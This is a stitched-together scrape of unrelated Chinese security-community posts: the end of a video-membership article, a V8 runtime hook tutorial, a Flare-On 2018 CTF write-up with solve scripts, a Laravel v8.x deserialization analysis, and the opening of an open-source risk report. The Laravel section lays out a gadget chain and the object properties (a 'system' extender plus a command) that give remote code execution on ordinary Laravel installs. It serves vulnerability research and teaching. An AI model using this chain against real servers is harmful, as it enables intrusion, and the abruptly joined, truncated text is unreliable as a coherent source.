说句实话，鹅厂应该杀个产品经理祭天
会员花钱就是图个开心，非会员长达几分钟的广告就算了，充了钱，难道不应该是开挂般的享受？鹅厂家的业界良心去哪里了？
最后，还是要说，在中国做内容难，做视频内容更难。所以，大家站在视频网站角度想想，如果你精心种的白菜好不容易可以拿出去卖，突然被猪拱了，是个什么心情。不对，应该是被猪拱了后，还要送几个萝卜的心情，是该多绝望。
所以，一方面呼吁巨头们更加重视用户信息安全，以及用户体验，另外一方面，大家少吃点零食，少买个皮肤，就能冲个会员，所以多多支持正版吧!
更多黑产爆料内容，请关注公众号“极验”查看。 | 社区文章 |
# 《Chrome V8原理讲解》第十五篇 运行时辅助类，给V8加钩子函数
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本系列的前十三篇文，讲解了V8执行Javascript时最基础的工作流程和原理，包括词法分析、语法分析、字节码生成、Builtins方法、ignition执行单元，等等，达到了从零做起，入门学习的目的。
接下来的文章将以问题为导向讲解V8源码，例如：以闭包技术、或垃圾加收（GC）为专题讲解V8中的相关源码。V8代码过于庞大，以问题为导向可以使得学习主题更加明确、效果更好。同时，我争取做到每篇文章是一个独立的知识点，方便大家阅读。
读者可以把想学的内容在文末评论区留言，我汇总后出专题文章。
## 1 摘要
Javascript的部分功能，如属性访问，新建对象、正则表达式等，由C++编码、以独立函数的形式存在，JavaScript在运行时以函数调用方式使用这些功能，所以称之为Runtime辅助类。`new
ojbect()`、`prototype`等功能均由C++函数实现，由于V8封装了这些函数，所以Javascript开发者看不到使用细节。本文讲解Runtime的使用细节，内容包括三方面：
**（1）** Runtime源码讲解，数据结构和定义方法；
**（2）** 调用约定，Bytecode如何调用Runtime功能，即builtin调用Runtime功能的约定；
**（3）** 自定义Runtime功能方法，随时随地给V8添加钩子函数。
## 2 Runtime源码
先说明runtime功能有哪些？叫什么？功能是什么？答案在runtime.h文件中，源码如下：
1. #define FOR_EACH_INTRINSIC_GENERATOR(F, I) \
2. I(AsyncFunctionAwaitCaught, 2, 1) \
3. I(AsyncFunctionAwaitUncaught, 2, 1) \
4. I(AsyncFunctionEnter, 2, 1) \
5. I(AsyncFunctionReject, 3, 1) \
6. I(AsyncFunctionResolve, 3, 1) \
7. I(AsyncGeneratorAwaitCaught, 2, 1) \
8. I(GeneratorGetResumeMode, 1, 1)
9. #define FOR_EACH_INTRINSIC_MODULE(F, I) \ //省略很多.....................
10. F(DynamicImportCall, 2, 1) \
11. I(GetImportMetaObject, 0, 1) \
12. F(GetModuleNamespace, 1, 1)
13. #define FOR_EACH_INTRINSIC_NUMBERS(F, I) \
14. F(GetHoleNaNLower, 0, 1) \
15. F(GetHoleNaNUpper, 0, 1) \
16. I(IsSmi, 1, 1) \
17. F(IsValidSmi, 1, 1) \
18. F(MaxSmi, 0, 1) \
19. F(NumberToString, 1, 1) \
20. F(StringParseFloat, 1, 1) \ //省略很多.....................
21. F(StringParseInt, 2, 1) \
22. F(StringToNumber, 1, 1)
23. #define FOR_EACH_INTRINSIC_OBJECT(F, I) \
24. F(AddDictionaryProperty, 3, 1) \
25. F(NewObject, 2, 1)
26. #define FOR_EACH_INTRINSIC_REGEXP(F, I) \
27. I(IsRegExp, 1, 1) \
28. F(RegExpExec, 4, 1) \
29. F(RegExpExecMultiple, 4, 1) \
30. F(RegExpInitializeAndCompile, 3, 1) \
31. F(RegExpReplaceRT, 3, 1) \
32. F(RegExpSplit, 3, 1) \
33. F(StringReplaceNonGlobalRegExpWithFunction, 3, 1) \
34. F(StringSplit, 3, 1)
35. #define FOR_EACH_INTRINSIC_STRINGS(F, I) \
36. F(StringGreaterThan, 2, 1) \
37. F(StringGreaterThanOrEqual, 2, 1) \
38. F(StringIncludes, 3, 1) \
39. F(StringIndexOf, 3, 1) \
40. F(StringIndexOfUnchecked, 3, 1) \
41. F(StringLastIndexOf, 2, 1) \
42. F(StringLessThan, 2, 1) \
43. F(StringLessThanOrEqual, 2, 1) \
44. F(StringMaxLength, 0, 1) \
45. F(StringReplaceOneCharWithString, 3, 1) \
46. F(StringCompareSequence, 3, 1) \
47. F(StringSubstring, 3, 1) \
48. F(StringToArray, 2, 1) \
49. F(StringTrim, 2, 1)
上述代码是Runtime定义使用的宏模板，省略了很多，保留了一些常见的、有代表性的功能。每一行代表一个功能函数，以`F(NewObject, 2,
1)`说明定义格式：
`F`，最终会被替换成另一个宏，宏里嵌套另一个宏，另外以`I`开头的，也是一样，使用`F`和`I`（IntrinsicTypes）是为方便代码重用，这是V8代码的书写风格；
`NewObject`是函数名，实现Javascript中的对象创建功能；
`2,1`，其中`2`是参数的数量，`1`是返回值的数量。
代码2~7行的`AsyncXXX`功能对应的是Javascript中的异步功能；代码19~22行，类型转换；代码25行，新建对象；代码27~32行，正则表达式；代码36行~最后，各种字符串的操作。
上述代码只给出了函数名和参数说明，并没有定义，下面给出`NewObject`的源码如下：
RUNTIME_FUNCTION(Runtime_NewObject) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());
CONVERT_ARG_HANDLE_CHECKED(JSFunction, target, 0);
CONVERT_ARG_HANDLE_CHECKED(JSReceiver, new_target, 1);
RETURN_RESULT_OR_FAILURE(
isolate,
JSObject::New(target, new_target, Handle<AllocationSite>::null()));
}
在V8查询相关源码的方法是：通过“Runtime_+函数名”的方式，在V8\src文件夹中检索，大部分定义在`v8\src\runtime\`中。代码中`RUNTIME_FUNCTION`是一个宏模板，我们将其展开，并与`NewObject`组成完成的函数源码如下：
1. static V8_INLINE Object __RT_impl_Runtime_NewObject(Arguments args,
2. Isolate* isolate);
3. V8_NOINLINE static Address Stats_Runtime_NewObject(int args_length, Address* args_object,
4. Isolate* isolate) {
5. RuntimeCallTimerScope timer(isolate, RuntimeCallCounterId::kRuntime_NewObject);
6. TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.runtime"),
7. "V8.Runtime_" "Runtime_NewObject");
8. Arguments args(args_length, args_object);
9. return (__RT_impl_Runtime_NewObject(args, isolate)).ptr();
10. }
11. Address Name(int args_length, Address* args_object, Isolate* isolate) {
12. DCHECK(isolate->context().is_null() || isolate->context().IsContext());
13. CLOBBER_DOUBLE_REGISTERS();
14. if (V8_UNLIKELY(TracingFlags::is_runtime_stats_enabled())) {
15. return Stats_Runtime_NewObject(args_length, args_object, isolate);
16. }
17. Arguments args(args_length, args_object);
18. return (__RT_impl_Runtime_NewObject(args, isolate)).ptr();
19. }
20. //.................分隔线...............
21. static Object __RT_impl_Runtime_NewObject(Arguments args, Isolate* isolate)
22. {
23. HandleScope scope(isolate);
24. DCHECK_EQ(2, args.length());
25. CONVERT_ARG_HANDLE_CHECKED(JSFunction, target, 0);
26. CONVERT_ARG_HANDLE_CHECKED(JSReceiver, new_target, 1);
27. RETURN_RESULT_OR_FAILURE(
28. isolate,
29. JSObject::New(target, new_target, Handle<AllocationSite>::null()));
30. }
上述代码中，分隔线以下是创建对象的入口函数，最终会调用`JSObject::New()`，这里完成创建对象。创建对象过程中会涉及到创建Map等知识点，内容较多，后续文章专题讲解，请读者先预习。
## 3 Runtime调用约定，添加钩子函数
看懂了Runtime函数的构建方法，也就明白了V8对Runtime的封装方式，更能理解Javascript中很多功能的实现原理。Runtime函数的构建方法总结为以下两点：
**（1）** `Runtime`类中有一个枚举成员，成员是Runtime函数名。
class Runtime : public AllStatic {
public:
enum FunctionId : int32_t {
#define F(name, nargs, ressize) k##name,
#define I(name, nargs, ressize) kInline##name,
FOR_EACH_INTRINSIC(F) FOR_EACH_INLINE_INTRINSIC(I)
#undef I
#undef F
kNumFunctions,
};
//省略很多.......................
配合上面的宏模板，展开后是一个`FunctionId`枚举，Runtime函数名是枚举的成员，有一个唯一的枚举编码。
**（2）**
V8在编译阶段生成一个Runtime函数指针数组（runtime_table），数组下标是枚举成员的编码，数组成员（指针）指针对应的函数地址，最终runtime_table存储在isolate中。
这两点内容需要详细看代码分析，需要慢慢理解。 **我们绕过这些讨厌的原理！给出最直接的方法，按此操作就可以添加自定义功能！**
随便找个宏定义的位置，例如下面的代码，最后一行是我添加的自定义功能。
#define FOR_EACH_INTRINSIC_TEST(F, I) \
F(Abort, 1, 1) \
F(AbortJS, 1, 1) \
F(AbortCSAAssert, 1, 1) \
F(ArraySpeciesProtector, 0, 1) \
F(ClearFunctionFeedback, 1, 1) \
F(ClearMegamorphicStubCache, 0, 1) \
F(CloneWasmModule, 1, 1) \
F(CompleteInobjectSlackTracking, 1, 1) \
F(ConstructConsString, 2, 1) \
F(ConstructDouble, 2, 1) \
F(ConstructSlicedString, 2, 1) \
F(MyRuntime,1,1) //这是我新加入的
最后一行，名字是`MyRuntime`，一个参数和一个返回值，再随便找个位置写函数定义，我写在了runtime-test.cc中，代码如下：
1.RUNTIME_FUNCTION(Runtime_MyRuntime) {
2. SealHandleScope shs(isolate);
3. DCHECK_EQ(1, args.length());
4. //这是功能区，
5. return ReadOnlyRoots(isolate).undefined_value();
6.}
行1，2是约定，需要使用`RUNTIME_FUNCTION`宏模板和传入`isolate`，行3是参数个数的检测，`MyRuntime`在前面说明了一个参数，一个返回值，所以行3的检测是`args.length()
==1`，这行也可以省略；行5是返回值，返回空值。行4是功能区，要实现的功能，看看其它Runtime的写法，就知道如何实现自己的功能了。
我用Runtime函数最多的场景是对Bytecodehandler进行状态分析，因为Bytecodehanlder是Builtins(汇编实现)，所以利用这方式充当断点，观察执行状态。在Bytecodehandler中调用`MyRuntime`的格式是：
`CallRuntime(Runtime::kMyRuntime, context, your args0);`。举例说明：
IGNITION_HANDLER(LdaConstant, InterpreterAssembler) {
TNode<Object> constant = LoadConstantPoolEntryAtOperandIndex(0);
TNode<Context> context = GetContext();//这是我加的
SetAccumulator(constant);
CallRuntime(Runtime::kMyRuntime, context, constant);//这里也是，context是它的第一个参数，也是必须要用的
Dispatch();
}
通过`CallRuntime()`方法调用Runtime功能，它的第一个参数是前面说的枚举变量；`context`是传给`MyRuntime()`的第一个参数（这是约定要求，详细说明请查阅`CallRuntime()`源码，
**注意：它不计在定义参数的数量中!**
），`constant`是我们想要传给`MyRuntime()`的参数。通过下面的测试代码，对`MyRuntime`做测试：
var s = "abcdef";
word=s.indexOf('e');
console.log(word)
//分隔线.........
0000003D8069D776 @ 0 : 12 00 LdaConstant [0]
0000003D8069D778 @ 2 : 26 fa Star r1
0000003D8069D77A @ 4 : 0b LdaZero
0000003D8069D77B @ 5 : 26 f9 Star r2
0000003D8069D77D @ 7 : 27 fe f8 Mov <closure>, r3
0000003D8069D780 @ 10 : 61 2f 01 fa 03 CallRuntime [DeclareGlobals], r1-r3
0 E> 0000003D8069D785 @ 15 : a7 StackCheck
7 S> 0000003D8069D786 @ 16 : 81 01 00 00 CreateClosure [1], [0], #0
0000003D8069D78A @ 20 : 15 02 02 StaGlobal [2], [2]
0000003D8069D78D @ 23 : 26 fb Star r0
46 S> 0000003D8069D78F @ 25 : ab Return
如图1，在`LdaConstant`中调用了`MyRuntime`函数，图中的“功能区”可以加入自定义功能用于观察字节码状态。
其实，V8已经内置了几个用于调试的Runtime功能：`DebugPrint`、`InterpreterTraceBytecodeEntry`、`InterpreterTraceBytecodeExit`等，下面给出跟踪字节码执行时最重要的两个函数`BytecodeEntry`和`PrintRegisters`的源码：
1. void PrintRegisters(Isolate* isolate, std::ostream& os, bool is_input,
2. interpreter::BytecodeArrayIterator&
3. bytecode_iterator, // NOLINT(runtime/references)
4. Handle<Object> accumulator) {
5. //省略很.......
6. // Print the registers.
7. JavaScriptFrameIterator frame_iterator(isolate);
8. InterpretedFrame* frame =
9. reinterpret_cast<InterpretedFrame*>(frame_iterator.frame());
10. int operand_count = interpreter::Bytecodes::NumberOfOperands(bytecode);
11. for (int operand_index = 0; operand_index < operand_count; operand_index++) {
12. interpreter::OperandType operand_type =
13. interpreter::Bytecodes::GetOperandType(bytecode, operand_index);
14. bool should_print =
15. is_input
16. ? interpreter::Bytecodes::IsRegisterInputOperandType(operand_type)
17. : interpreter::Bytecodes::IsRegisterOutputOperandType(operand_type);
18. if (should_print) {
19. interpreter::Register first_reg =
20. bytecode_iterator.GetRegisterOperand(operand_index);
21. int range = bytecode_iterator.GetRegisterOperandRange(operand_index);
22. for (int reg_index = first_reg.index();
23. reg_index < first_reg.index() + range; reg_index++) {
24. Object reg_object = frame->ReadInterpreterRegister(reg_index);
25. os << " [ " << std::setw(kRegFieldWidth)
26. << interpreter::Register(reg_index).ToString(
27. bytecode_iterator.bytecode_array()->parameter_count())
28. << kArrowDirection;
29. reg_object.ShortPrint(os);
30. os << " ]" << std::endl;
31. }
32. }
33. }
34. if (FLAG_log_colour) {
35. os << kNormalColourCode;
36. }
37. }
38. //分隔.........................
39. RUNTIME_FUNCTION(Runtime_InterpreterTraceBytecodeEntry) {
40. if (!FLAG_trace_ignition) {
41. return ReadOnlyRoots(isolate).undefined_value();
42. }
43. SealHandleScope shs(isolate);
44. DCHECK_EQ(3, args.length());
45. CONVERT_ARG_HANDLE_CHECKED(BytecodeArray, bytecode_array, 0);
46. CONVERT_SMI_ARG_CHECKED(bytecode_offset, 1);
47. CONVERT_ARG_HANDLE_CHECKED(Object, accumulator, 2);
48. int offset = bytecode_offset - BytecodeArray::kHeaderSize + kHeapObjectTag;
49. interpreter::BytecodeArrayIterator bytecode_iterator(bytecode_array);
50. AdvanceToOffsetForTracing(bytecode_iterator, offset);
51. if (offset == bytecode_iterator.current_offset()) {
52. StdoutStream os;
53. // Print bytecode.
54. const uint8_t* base_address = reinterpret_cast<const uint8_t*>(
55. bytecode_array->GetFirstBytecodeAddress());
56. const uint8_t* bytecode_address = base_address + offset;
57. os << " -> " << static_cast<const void*>(bytecode_address) << " @ "
58. << std::setw(4) << offset << " : ";
59. interpreter::BytecodeDecoder::Decode(os, bytecode_address,
60. bytecode_array->parameter_count());
61. os << std::endl;
62. // Print all input registers and accumulator.
63. PrintRegisters(isolate, os, true, bytecode_iterator, accumulator);
64. os << std::flush;
65. }
66. return ReadOnlyRoots(isolate).undefined_value();
67. }
笔者以为，在V8学习过程中，尤其入门阶段，一个最大的问题是如何跟踪Bytecode的执行过程，上述代码`InterpreterTraceBytecodeEentry`和`InterpreterTraceBytecodeExit`（未给出）在每条字节码执行的前后输出寄存器状态，`PrintRegisters()`方法用于输出寄存器值，该方法的重要之处是它写明了如何在V8中使用`print`输出到控制台。当对V8的Bytecode有更多的跟踪需求时，可以利用自定义Runtime方法，在任意位置下钩子，以各种方式输出一切想看的状态。此外，我总结了一套在汇编级跟踪Bytecode的方法，此方法能更加详细地看到V8的执行过程，该方法过于依赖汇编，已经脱离了V8的学习范畴，所以没发表文章，有需要的朋友私信我。
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# Flare-On 2018 writeup（上）
##### 译文声明
本文是翻译文章
原文地址：<https://mp.weixin.qq.com/s/oINP7YFCivzXUDGe45BF6Q>
译文仅供参考，具体内容表达以及含义原文为准。
## Ultimate Minesweeper
donet写的扫雷程序，找到正确的安全位置点击，雷区map的布置藏在下面的代码中
重构输出得到(28, 7)，(7, 20)，(24, 28)三个坐标点，依次点击显示flag
mine = []
vtypes = [-896,-639,-270]
for i in range(30):
mine.append([])
for j in range(30):
flag = True
r = i + 1
c = j + 1
if ~((r * 30) + c) in vtypes:
flag = False
print 'x',j,'y',i
## FLEGGO
解压得到48个程序，模式一模一样，可以通过脚本批量取出各个程序的key，输入正确的key后，echo几个字符并得到一张乐高图片
import os
from subprocess import *
output = ''
pngtxt = ''
for dirpath,dirnames,filenames in os.walk('FLEGGO'):
for file in filenames:
pathname = os.path.join(dirpath,file)
if pathname[-4:] == '.exe':
txt = open(pathname,'rb').read()
head = txt.find('\x42\x00\x52\x00', 6500) + 14
tail = txt.find('\x00\x00', head)
pw = txt[head:tail:2]
output = output + pathname + '\t' + pw + '\n'
p = Popen(pathname,stdin=PIPE,stdout=PIPE)
p.stdin.write(pw + '\n')
p.stdin.flush()
p.stdout.readline()
p.stdout.readline()
pngtxt = pngtxt + p.stdout.readline() + '\n'
open('res.txt','w+').write(output)
对图片根据内容进行标号，然后将得到的字符按图片标号顺序连接即flag
pngdat = []
for i in range(48):
pngdat.append(open('png\\%02d.png'%(i+1),'rb').read())
pngarr = pngtxt.split('\n')
for p in pngarr:
pinfo = p.split(' ')
pngd = open('FLEGGO\\%s'%(pinfo[0]),'rb').read()
print str(pngdat.index(pngd)) + '\t' + str(pinfo[1])
[email protected]
## binstall
donet程序，会删除浏览器缓存，修改注册表，然后释放browserassist.dll文件
这个dll文件会下载了一段加密的数据，解密后得到一个js文件
通过cp()函数中的判断式推出密码为k9btBW7k2y，根据密码调用js中的de()函数得到flag
function cp(p) { //get password
if (model.passwordEntered = !1, 10 === p.length && 123 == (16 ^ p.charCodeAt(0)) && p.charCodeAt(1) << 2 == 228 && p.charCodeAt(2) + 44 === 142 && p.charCodeAt(3) >> 3 == 14 && p.charCodeAt(4) === parseInt(function() {
var h = Array.prototype.slice.call(arguments),
k = h.shift();
return h.reverse().map(function(m, W) {
return String.fromCharCode(m - k - 24 - W)
}).join("")
} (50, 124) + 4..toString(36).toLowerCase(), 31) && p.charCodeAt(5) - 109 == -22 && 64 == (p.charCodeAt(3) << 4 & 255) && 5 * p.charCodeAt(6) === parseInt(function() {
var n = Array.prototype.slice.call(arguments),
M = n.shift();
return n.reverse().map(function(r, U) {
return String.fromCharCode(r - M - 16 - U)
}).join("")
} (22, 107) + 9..toString(36).toLowerCase(), 19) && p.charCodeAt(7) + 14 === "xyz".charCodeAt(1) && 3 * (6 * (p.charCodeAt(8) - 50) + 14) == 17 + parseInt(function() {
var l = Array.prototype.slice.call(arguments),
f = l.shift();
return l.reverse().map(function(O, o) {
return String.fromCharCode(O - f - 30 - o)
}).join("")
} (14, 93) + 6..toString(36).toLowerCase(), 8) - 1 + 12 && 3 + (p.charCodeAt(9) + 88 - 1) / 2 === p.charCodeAt(0)) model.root = 1,
model.password = p, console.log(p) ;
else {
……省略一万字
}
function de(instr) { //de code flag
for (var zzzzz, z = model.password,
zz = atob(instr), zzz = [], zzzz = 0, zzzzzz = "", zzzzzzz = 0; zzzzzzz < parseInt("CG", 20); zzzzzzz++) zzz[zzzzzzz] = zzzzzzz;
for (zzzzzzz = 0; zzzzzzz < parseInt("8O", 29); zzzzzzz++) zzzz = (zzzz + zzz[zzzzzzz] + z.charCodeAt(zzzzzzz % z.length)) % parseInt("8G", 30),
zzzzz = zzz[zzzzzzz],
zzz[zzzzzzz] = zzz[zzzz],
zzz[zzzz] = zzzzz;
for (var y = zzzz = zzzzzzz = 0; y < zz.length; y++) zzzz = (zzzz + zzz[zzzzzzz = (zzzzzzz + 1) % parseInt("514", 7)]) % parseInt("213", 11),
zzzzz = zzz[zzzzzzz],
zzz[zzzzzzz] = zzz[zzzz],
zzz[zzzz] = zzzzz,
zzzzzz += String.fromCharCode(zz.charCodeAt(y) ^ zzz[(zzz[zzzzzzz] + zzz[zzzz]) % parseInt("D9", 19)]);
return zzzzzz
}
根据js中的等式推测出password= k9btBW7k2y，然后执行de(..)函数
## web 2.0
wasm,可以由chrome调试
github下载wabt将wasm转换为wat文件，S字节码，非常类似JVM字节码时刻都在入栈、出栈。
编写watHelper脚本解析函数块，思路是记录指令操作的栈影响，然后还原出代码（遇到function call出入栈数量要根据函数类型决定）
watHelper部分代码如下
分析后的函数关键位置下bp即可偷flag字节
## Magic
666轮checkkey通过后可以得到flag
sub_4037BF在每轮通过后改变自身程序，改变decoder和分段check函数
由decoder[33]将一轮的key分33段检查，每段的检查函数需要pFunc ^
pFunXorArr解密，并且每一轮decoder的内容、pFunc、pFunXorArr内存区的内容都将被改变
getkey程序将magic当前轮的decoder和funcArr、funcXorArr加载在本地然后进行爆破（每个片段最大为3个Ascii）
爆破流程
在call ram前对stack进行清空，否则有些函数内未对所有局部变量初始化会造成和源程序执行的结果不同
pwntools进行多轮爆破
[email protected]
## WOW
程序xor和alloc载入dll资源
然后修改cs: 33h执行载入的x64 dll中的api，由于经过x86和x64的来回切换需要使用windbg调试
来到s0.dll，由于不是正常的loadlibrary加载的，所以全局偏移实际是文件偏移载入内存的并不是以PE描述偏移载入，导致直接运行会因为访问越界的全局量而奔溃
意味着使用到全局变量的地方crackme_dll，crack_len需要断点修改实际地址
函数会再次alloc并加载crackme.dll，x86 dll，通过结束前覆盖return stack执行到crackme中的函数
crackme.dll中的主要逻辑利用了socket通讯获取flag，但crackme本身并没藏有flag，回到s0.dll
s0中hook了crackme的socket driver
关键函数是被hook的相关函数
重构flag脚本
t_6b40 = [0x0F,0x57,0x61,0x77,0x0B,0xFA,0xB5,0xD1,0x81,0x99,0xAC,0xA7,0x90,0x58,0x1A,0x52,0x0C,0xA0,0x08,0x2D,0xED,0xD5,0x6D,0xE7,0xE0,0xF2,0xBC,0xE9,0xF2]
t_6bb8 = [0x5F,0x68,0x44,0x62,0x23,0xBA,0x21,0x54,0x33,0x73,0x04,0x65,0x50,0x97,0x72,0x26,0x01,0xC4,0xCD,0x11,0xB6,0x0B,0xD6,0xF9,0x58,0x76,0x7E,0x65,0x69]
counter = 0
def printArr(arr):
output = ''
for c in arr:
output = output + chr(c)
print output
for magicnum in t_6b40:
if magicnum == t_6b40[counter]:
for i in range(counter+1, 29):
t_6b40[i] = t_6b40[i] ^ magicnum
t_6bb8[counter] = t_6bb8[counter] ^ t_6b40[counter]
counter = counter + 1
print ''
printArr(t_6b40)
printArr(t_6bb8)
[email protected]
## Doogie Hacker
得到一段mbr程序，bootloader, 16bit 668p加载到ida
大体是密文表和取现行时间异或，再和密文异或
时间在bin中提示1990.02.06，题目中还出现了16岁的时间概念因此对该时间可疑
使用不同时间异或后，密文只剩一轮异或加密，计算重合指数，确认1990.02.06时间，并且确认密文长度为17
然后假设了key中存在特殊串@flare-on.com，只需要猜测串在key的位置，对密文解密看效果，所有可能性都为乱码，排除key中存在特殊串
再假设明文中存在@flare-on.com，会得到部分的key，部分key在key中的位置也可以求得，只需要补足4位key，先不管4位key，使用部分key解出部分明文依然所有可能性都是乱码
17个密文为一行进行统计发现每列都有2个字符频次极高
假设出现频次极高的字符对应明文为空格可以推的可能的key
qwh}jyteonuatoyj}
ioperal}wvmylware
进行上下组合
key: ioperateonmalware
[email protected]
## leet editr
程序开始分配多个堆块并设成不可访问
分配了VEH然后执行堆块代码发生异常，由于程序有多个反调试的地方，使用od调试
大概就是在运行堆块时触发异常，通过VEH解码shellcode，从而分段解密vbs
程序解密后可以找到If I were to title this piece, it would be
‘A_FLARE_f0r_th3_Dr4m4t1(C)’将是最后的title
该函数对数据分段解密，并且周期轮换使用了xor、rc4组合的三种加密方法，bp拿到所有的解密段
包含一张FLARE Ascii图片、网页和vbs脚本
脚本运行oh(hai(createtextfile(xx,xx)),xx))，
先通过程序invoke解RC4得到BASE64编码数据，在用vbs自身BASE64，RC4解出反调试代码
vbs invoke部分可以参考github项目wine-stable
程序最后调用gimme…love(key)，然后对key取md5（去除空白符等），以md5为RC4的key再解密得到最后的明文
key由ascii + title得到，分别是上面提到的FLARE图案和函数解密后的title
[email protected]
## glof
程序是一个驱动加载器，输入flag作为程序参数
一开始会检查一些启动环境，释放出fhv.sys进行加载，然后调用keyCheck分4段检查key
大致是想通过调用vmcall，触发驱动中的某个函数，将check函数加载到申请页面进行校验
将打开CPU VT并进入OS测试模式进行运行，系统奔溃，虚拟机运行一样奔溃
分析fhv.sys参考<https://github.com/Laureline001/lolo>
驱动加载后检查了OS、CPU是否支持VT，然后启动VMX
客户机寄存器和虚拟机寄存器交换数据，存在非一一对应的，同时用于vmcall传递参数
不同的vmcall取得不同数据后再xor 0xe2
跟入找到ring3加载器对应的vmcall，看出对内存释放了一定的数据，dump出来
IDA无法解析，非合法指令
驱动捕捉了异常指令
在驱动中重新解析了指令，意味着一套自定义的CPU指令解析
脚本分析后得到合法代码
化简片段后得到4段key
[email protected] | 社区文章 |
# Laravel v8.x反序列化漏洞
## 环境搭建
使用composer一键安装最新版Laravel
composer create-project --prefer-dist laravel/laravel laravel
在app\Http\Controllers中添加Test控制器，加入反序列化点，如下图。
在routes\web.php中添加以下路由。
注释掉app\Kernel.php中关于CSRF验证的部分（第38行）。
当访问首页与/hello正常时，环境搭建完毕。
## 漏洞分析
反序列化利用链如下。
Illuminate\Testing\PendingCommand->__destruct()
Illuminate\Testing\PendingCommand->run()
Illuminate\Container\Container->make()
Illuminate\Container\Container->resolve()
先看命令执行的点，`Illuminate\Container\Container->resolve()`，当`$extender`与`$object`可控时，可以进行代码执行。
protected function resolve($abstract, $parameters = [], $raiseEvents = true)
{
···略···
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
···略···
return $object;
}
/**
* php system函数原型
* system(string $command, int &$return_var = ?): string
*/
再看链首`Illuminate\Testing\PendingCommand->__destruct()`
当`hasExecuted`不为真时，进入`Illuminate\Testing\PendingCommand->run()`，关键部分代码如下。
跟进`make`方法，可以看到实现该方法的子类有两个。
其中包含了`Illuminate\Container\Container`，又由于`$this->app`可控，故在此可跟进到`Illuminate\Container\Container->make()`
在第一次进入到`Illuminate\Container\Container->make()`方法时，`$abstract`不可控，并且为`Kernel::class`，漏洞方法`resolve()`出现，继续跟进`Illuminate\Container\Container->resolve()`
protected function resolve($abstract, $parameters = [], $raiseEvents = true)
{
$abstract = $this->getAlias($abstract);
if ($raiseEvents) {
$this->fireBeforeResolvingCallbacks($abstract, $parameters);
}
$concrete = $this->getContextualConcrete($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null($concrete);
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
if (is_null($concrete)) {
$concrete = $this->getConcrete($abstract);
}
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
if ($raiseEvents) {
$this->fireResolvingCallbacks($abstract, $object);
}
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
为使后面讲述的时候不太绕，我们先讲`$abstract =
$this->getAlias($abstract)`，跟进到`$this->getAlias()`
`$this->aliases`可控，当设置了`$this->aliases[$abstract]`变量时，会再调用一次该方法，当未设置该变量时则直接返回`$abstract`的值。
前面我们说到，第一次调用`make()`时，传入的`$abstract`不可控，并且为`Kernel::class`，故我们可以通过设置`Illuminate\Container\Container->aliases[Kernel::class]=>"可控值"`的方式来控制`$this->getAlias($abstract)`。
所以，在经过了`$abstract = $this->getAlias($abstract)`处理之后，`$abstract`便是可控的了。
即`$abstract=$this->aliases[Kernel::class]`
现在，只要控制了`$extender`与`$object`便能rce，`$extender`来自`$this->getExtenders($abstract)`，跟进`Illuminate\Container\Container->getExtenders()`
因为`$this->extenders`可控，`$this->getAlias($abstract)`可控，所以`$extender`可控。
下面看`$object`变量的获取部分。
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
两个方式都可以获得`$object`，分别跟进`$this->build()`与`$this->make()`后，不太想看`$this->build()`，故分析第二个方式能否返回可控值。
这是第二次调用`make()`并且传入的值为`$concrete`，再次跟进`resolve()`，这次我们着重看`resolve()`中`return`的地方。
第一次`return`的部分如下。
再看看`$needsContextualBuild`如何取得。
这里的`$parameters`是在调用`make()`时传入的，默认为空数组，此时我们能够想到，倘若这里的`$abstract`也即是传入的`$concrete`可控，我们就能控制第二次调用`make()`的返回值，也即是控制`$object`。
回看`$concrete`是如何取得的，同样是两个地方。
$concrete = $this->getContextualConcrete($abstract);
···略···
if (is_null($concrete)) {
$concrete = $this->getConcrete($abstract);
}
先跟进`$this->getConcrete()`
可以知道，当这里传入的`$abstract`可控时，`$concrete`就可控了。而这里的`$abstract`是进入`resolve()`方法进行一次处理后得到的，即`$this->aliases[Kernel::class]`
至此，我们知道`$concrete可控`->`$this->make($concrete)返回值可控`->`$object`可控。
所以，此时我们只要保证`if ($this->isBuildable($concrete, $abstract))`为`false`即可。
跟进`$this->isBuildable()`
`$abstract`可控，这里的`$concrete`是经过`$concrete =
$this->getContextualConcrete($abstract)`处理的，只要我们未做特殊的配置（也即是通过修改各个属性去改变`$this->getContextualConcrete()`的返回值），那么它处理后的`$concrete=null`
最终`isBuildable`的返回值就为`false`。
至此，我们先做一个小结。
在Illuminate\Testing\PendingCommand类中，需要做如下设置：
$this->hasExecuted = false;
$this->app = Illuminate\Container\Container对象;
在Illuminate\Container\Container类中，需要做如下设置:
$this->aliases = array(Kernel::class=>"4ny0ne");
$this->bindings = array("4ny0ne"=>array("concrete"=>"4ut15m"));
$this->instances = array("4ut15m"=>"命令");
$this->extenders = array("4nyone"=>"system");
在简单编写EXP之后可以发现，提交payload之后会出现一个异常，而这个异常，则是在`Illuminate\Testing\PendingCommand->mockConsoleOutput()`中抛出的。
调试跟进，发现异常抛出的位置。
所以，我们需要使得`Illuminate\Testing\PendingCommand->text`为一个拥有`expectedOutput`属性的对象，全局搜索`expectedOutput`，在一个trait类`InteractsWithConsole`中找到该属性。
全局搜索使用了该`trait`的类，找到一个接口`TestCase`。
最后找到该接口的一个实现类`ExampleTest`，修改最终EXP，执行命令如下。
## EXP
见[anyserial](https://gitee.com/any0ne-sec/anyserial) | 社区文章 |
# 2019年开源软件风险研究报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、序言
>
